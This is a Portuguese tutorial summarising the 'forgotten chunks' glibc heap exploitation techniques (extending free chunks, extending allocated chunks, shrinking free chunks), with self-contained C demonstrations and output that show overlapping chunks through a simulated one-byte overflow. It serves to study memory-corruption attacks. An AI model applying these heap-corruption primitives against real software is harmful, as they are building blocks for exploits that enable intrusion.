The Forgotten Chunks

Glibc Adventures: The forgotten chunks é o título de um livro escrito por François Goichon, que pode ser acessado por meio de um repositório disponibilizado por bash-c.

Exploits

O livro detalha três exploits relacionados à heap: Extending Free Chunks, Extending Allocated Chunks, e Shrinking Free Chunks. Apesar de suas diferenças, esses três métodos resultam praticamente no mesmo objetivo: um chunk alocado dentro de outro também alocado.

Extending Free Chunks

Esse é o método mais simples para causar a sobreposição de chunks. Ele requer pelo menos 3 chunks adjacentes, a, b, e c, sendo que pelo menos um deles deve ser vulnerável a algum tipo de overflow.

Initial State

Uma vez com os 3 chunks alocados, conforme mostrado na imagem acima, o próximo passo é liberar o chunk do meio (b) e, em seguida, sobrescrever seus metadados. Isso envolve alterar pelo menos um byte do campo size do chunk, aumentando o tamanho registrado.

Overflow into B

Agora, ao alocar um novo chunk com o tamanho anterior (deve ser do tamanho anterior porque o chunk está na tcache bin), o gerenciador de memória retornará o chunk do meio junto com o chunk do final (c) e parte do espaço adjacente. Isso ocorre porque a função malloc() não verifica se o chunk liberado é consistente com o campo prev_size do próximo chunk.

C is overlapped
extending_free_chunk.c
#include <stdio.h>
#include <stdlib.h>

int main(){
    char *A = (char *)malloc(0x100 - 8);
    char *B = (char *)malloc(0x100 - 8);
    char *C = (char *)malloc(0x80 - 8);
    size_t old_size = *(size_t *)(B - 8);
    size_t new_size;

    printf("\nChunk C: %p -> %p", C, C + 0x80 - 8);

    // Liberando o chunk B.
    free(B);

    // Modificando o tamanho dele por meio de um overflow.
    // O tamanho do chunk B é 0x100, e com o overflow de 1 byte, ele passará a ser 0x180.
    A[0x100 - 8] = 0x81;

    //Alocando novamente o chunk.
    B = (char *)malloc(0x100 - 8);

    // Comparando tamanhos e endereços.
    new_size = *(size_t *)(B - 8);
    printf("\nTamanho chunk B: %lx -> %lx", old_size & ~0b111, new_size & ~0b111); // ~0b111 significa que não queremos saber o valor com os bits NMP.
    printf("\nChunk B: %p -> %p", B, B + 0x100 + 0x80 - 8);

    // Representação.
    printf("\nPor endereços: %p -> | %p %p | -> %p", B, C, C + 0x80 - 8, B + 0x100 + 0x80 - 8);
    printf("\nPor valores: %u -> | %u %u | -> %u", B, C, C + 0x80 - 8, B + 0x100 + 0x80 - 8);
    
    free(A);
    free(B);
    free(C);
}
└─$ ./extending-free-chunks                             

Chunk C: 0x55a85770a4a0 -> 0x55a85770a518
Tamanho chunk B: 100 -> 180
Chunk B: 0x55a85770a3a0 -> 0x55a85770a518
Por endereços: 0x55a85770a3a0 -> | 0x55a85770a4a0 0x55a85770a518 | -> 0x55a85770a518
Por valores: 1466999712 -> | 1466999968 1467000088 | -> 1467000088 

Extending Allocated Chunks

Esta técnica é semelhante à anterior, mas aqui exploramos o fato de que a função free() não verifica se o tamanho do chunk a ser liberado é consistente com o que foi alocado. O único local onde o tamanho do chunk é armazenado é no próprio campo size do chunk.

Assim como antes, precisamos de 3 chunks adjacentes, a, b e c, sendo necessário que pelo menos um deles seja vulnerável a algum tipo de overflow.

Initial state

Neste método, usamos um overflow para sobrescrever o campo size do chunk do meio (b) com um valor maior do que o tamanho real do chunk. Após isso, liberamos o chunk b e o alocamos novamente, especificando o tamanho alterado. Como resultado, o chunk final (c) será alocado dentro do chunk b.

C is overlapped
extending_allocated_chunks.c
#include <stdio.h>
#include <stdlib.h>

int main(){
    char *A = (char *)malloc(0x100 - 8);
    char *B = (char *)malloc(0x100 - 8);
    char *C = (char *)malloc(0x80 - 8);
    size_t old_size = *(size_t *)(B - 8);
    size_t new_size;

    printf("\nChunk C: %p -> %p", C, C + 0x80 - 8);

    // Modificando o tamanho do chunk B por meio de um overflow.
    // O tamanho do chunk B é 0x100, e com o overflow de 1 byte, ele passará a ser 0x180.
    A[0x100 - 8] = 0x81;

    // Comparando tamanhos.
    new_size = *(size_t *)(B - 8);
    printf("\nTamanho chunk B: %lx -> %lx", old_size & ~0b111, new_size & ~0b111); // ~0b111 significa que não queremos saber o valor com os bits NMP.
    
    // Liberando o chunk B.
    free(B);
    
    //Alocando novamente o chunk o tamanho de B + C.
    B = (char *)malloc(0x100 + 0x80 - 8);

    // Comparando endereços.
    printf("\nChunk B: %p -> %p", B, B + 0x100 + 0x80 - 8);
    
    // Representação.
    printf("\nPor endereços: %p -> | %p %p | -> %p", B, C, C + 0x80 - 8, B + 0x100 + 0x80 - 8);
    printf("\nPor valores: %u -> | %u %u | -> %u", B, C, C + 0x80 - 8, B + 0x100 + 0x80 - 8);
    
    free(A);
    free(B);
    free(C);
}
└─$ ./extending-allocated-chunks                                  

Chunk C: 0x55b34c4da4a0 -> 0x55b34c4da518
Tamanho chunk B: 100 -> 180
Chunk B: 0x55b34c4da3a0 -> 0x55b34c4da518
Por endereços: 0x55b34c4da3a0 -> | 0x55b34c4da4a0 0x55b34c4da518 | -> 0x55b34c4da518
Por valores: 1280156576 -> | 1280156832 1280156952 | -> 1280156952

Shrinking Free Chunks

Esse método, diferentemente dos anteriores, envolve a redução do tamanho de um chunk em vez de aumentá-lo. Por ser mais complexo, ele exige um entendimento detalhado de como o gerenciador de heap funciona.

Assim como antes, precisamos de 3 chunks adjacentes, a, b e c, sendo que um deles deve ser vulnerável a um overflow.

Initial state

Uma vez com os chunks configurados, liberamos o chunk do meio (b), e, em seguida, usamos um overflow para alterar o seu tamanho.

Overflow into B

Depois, alocamos dois novos chunks, b1 e b2, que devem ser menores que o chunk original b. Isso faz com que b1 ocupe o início do espaço de b, enquanto b2 ocupa o espaço seguinte. Após isso, liberamos b1.

b1 is free

Por fim, liberamos o chunk final (c) para que ele se junte ao chunk do meio (b). Como o campo prev_size de c não foi atualizado, o gerenciador de memória acredita que b ainda é o chunk original. Por último, alocamos um chunk maior que abrange o espaço de c, causando a sobreposição.

B2 is overlapped

Referências

Glibc Adventures: The forgotten chunks Heap-Exploitation

Atualizado